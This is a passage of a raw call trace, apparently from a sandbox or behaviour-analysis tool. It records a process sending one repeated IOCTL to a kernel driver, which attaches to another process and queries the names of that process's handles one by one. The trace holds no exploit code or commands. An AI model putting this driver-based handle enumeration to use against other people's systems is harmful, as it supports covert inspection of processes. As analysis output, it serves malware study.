lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.612] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.612] PsAcquireProcessExitSynchronization () returned 0x0 [0131.612] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.612] ObReferenceObjectByHandle (in: Handle=0x430, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001ffee10, HandleInformation=0x0) returned 0x0 [0131.612] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.612] PsReleaseProcessExitSynchronization () returned 0x2 [0131.612] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.612] ObQueryNameString (in: Object=0xfffff8a001ffee10, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0131.612] ObfDereferenceObject (Object=0xfffff8a001ffee10) returned 0x1 [0131.612] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.612] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.612] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.612] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.612] PsAcquireProcessExitSynchronization () returned 0x0 [0131.612] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.612] ObReferenceObjectByHandle (in: Handle=0x440, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020161d0, HandleInformation=0x0) returned 0x0 [0131.612] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.612] PsReleaseProcessExitSynchronization () returned 0x2 [0131.612] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.612] ObQueryNameString (in: Object=0xfffff8a0020161d0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.612] ObfDereferenceObject (Object=0xfffff8a0020161d0) returned 0x1 [0131.612] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.612] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.612] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.612] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.612] PsAcquireProcessExitSynchronization () returned 0x0 [0131.612] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.612] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001feb740, HandleInformation=0x0) returned 0x0 [0131.612] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.613] PsReleaseProcessExitSynchronization () returned 0x2 [0131.613] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.613] ObQueryNameString (in: Object=0xfffff8a001feb740, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.613] ObfDereferenceObject (Object=0xfffff8a001feb740) returned 0x1 [0131.613] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.613] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.613] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.613] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.613] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.613] PsAcquireProcessExitSynchronization () returned 0x0 [0131.614] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.614] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001b713e0, HandleInformation=0x0) returned 0x0 [0131.614] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.614] PsReleaseProcessExitSynchronization () returned 0x2 [0131.614] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.614] ObQueryNameString (in: Object=0xfffff8a001b713e0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.614] ObfDereferenceObject (Object=0xfffff8a001b713e0) returned 0x1 [0131.614] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.614] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.615] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.615] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.615] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.615] PsAcquireProcessExitSynchronization () returned 0x0 [0131.615] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.615] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fab170, HandleInformation=0x0) returned 0x0 [0131.615] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.615] PsReleaseProcessExitSynchronization () returned 0x2 [0131.615] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.615] ObQueryNameString (in: Object=0xfffff8a001fab170, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.615] ObfDereferenceObject (Object=0xfffff8a001fab170) returned 0x1 [0131.615] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.615] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.615] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.615] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.615] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.615] PsAcquireProcessExitSynchronization () returned 0x0 [0131.615] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.615] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001cb0690, HandleInformation=0x0) returned 0x0 [0131.615] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.615] PsReleaseProcessExitSynchronization () returned 0x2 [0131.615] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.615] ObQueryNameString (in: Object=0xfffff8a001cb0690, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.615] ObfDereferenceObject (Object=0xfffff8a001cb0690) returned 0x1 [0131.615] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.615] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.615] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.615] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.615] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.615] PsAcquireProcessExitSynchronization () returned 0x0 [0131.615] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.615] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f9f600, HandleInformation=0x0) returned 0x0 [0131.615] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.615] PsReleaseProcessExitSynchronization () returned 0x2 [0131.616] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.616] ObQueryNameString (in: Object=0xfffff8a001f9f600, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.616] ObfDereferenceObject (Object=0xfffff8a001f9f600) returned 0x1 [0131.616] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.616] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.616] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.616] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.616] PsAcquireProcessExitSynchronization () returned 0x0 [0131.616] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.616] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002039e50, HandleInformation=0x0) returned 0x0 [0131.616] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.616] PsReleaseProcessExitSynchronization () returned 0x2 [0131.616] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.616] ObQueryNameString (in: Object=0xfffff8a002039e50, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.616] ObfDereferenceObject (Object=0xfffff8a002039e50) returned 0x1 [0131.616] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.616] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.616] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.616] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.616] PsAcquireProcessExitSynchronization () returned 0x0 [0131.616] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.616] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fa75a0, HandleInformation=0x0) returned 0x0 [0131.616] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.616] PsReleaseProcessExitSynchronization () returned 0x2 [0131.616] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.616] ObQueryNameString (in: Object=0xfffff8a001fa75a0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.616] ObfDereferenceObject (Object=0xfffff8a001fa75a0) returned 0x1 [0131.616] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.616] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.616] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.616] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.616] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.616] PsAcquireProcessExitSynchronization () returned 0x0 [0131.616] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.617] ObReferenceObjectByHandle (in: Handle=0x4c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002046630, HandleInformation=0x0) returned 0x0 [0131.617] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.617] PsReleaseProcessExitSynchronization () returned 0x2 [0131.617] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.617] ObQueryNameString (in: Object=0xfffff8a002046630, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.617] ObfDereferenceObject (Object=0xfffff8a002046630) returned 0x1 [0131.617] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.617] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.617] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.617] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.617] PsAcquireProcessExitSynchronization () returned 0x0 [0131.617] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.617] ObReferenceObjectByHandle (in: Handle=0x4d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fe05a0, HandleInformation=0x0) returned 0x0 [0131.617] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.617] PsReleaseProcessExitSynchronization () returned 0x2 [0131.617] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.617] ObQueryNameString (in: Object=0xfffff8a001fe05a0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.617] ObfDereferenceObject (Object=0xfffff8a001fe05a0) returned 0x1 [0131.617] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.617] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.617] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.617] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.617] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.617] PsAcquireProcessExitSynchronization () returned 0x0 [0131.617] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.617] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fcc4a0, HandleInformation=0x0) returned 0x0 [0131.705] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.706] PsReleaseProcessExitSynchronization () returned 0x2 [0131.706] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.706] ObQueryNameString (in: Object=0xfffff8a001fcc4a0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.706] ObfDereferenceObject (Object=0xfffff8a001fcc4a0) returned 0x1 [0131.706] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.706] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.706] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.706] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.706] PsAcquireProcessExitSynchronization () returned 0x0 [0131.706] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.706] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f97590, HandleInformation=0x0) returned 0x0 [0131.706] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.706] PsReleaseProcessExitSynchronization () returned 0x2 [0131.706] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.706] ObQueryNameString (in: Object=0xfffff8a001f97590, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.706] ObfDereferenceObject (Object=0xfffff8a001f97590) returned 0x1 [0131.706] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.706] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.706] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.706] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.706] PsAcquireProcessExitSynchronization () returned 0x0 [0131.706] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.706] ObReferenceObjectByHandle (in: Handle=0x500, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f93d20, HandleInformation=0x0) returned 0x0 [0131.706] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.706] PsReleaseProcessExitSynchronization () returned 0x2 [0131.706] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.706] ObQueryNameString (in: Object=0xfffff8a001f93d20, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.706] ObfDereferenceObject (Object=0xfffff8a001f93d20) returned 0x1 [0131.706] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.706] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.707] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.707] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.707] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.707] PsAcquireProcessExitSynchronization () returned 0x0 [0131.707] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.707] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002051790, HandleInformation=0x0) returned 0x0 [0131.707] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.707] PsReleaseProcessExitSynchronization () returned 0x2 [0131.707] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.707] ObQueryNameString (in: Object=0xfffff8a002051790, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.707] ObfDereferenceObject (Object=0xfffff8a002051790) returned 0x1 [0131.707] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.707] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.707] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.707] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.707] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.707] PsAcquireProcessExitSynchronization () returned 0x0 [0131.707] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.707] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002051060, HandleInformation=0x0) returned 0x0 [0131.707] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.707] PsReleaseProcessExitSynchronization () returned 0x2 [0131.707] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.707] ObQueryNameString 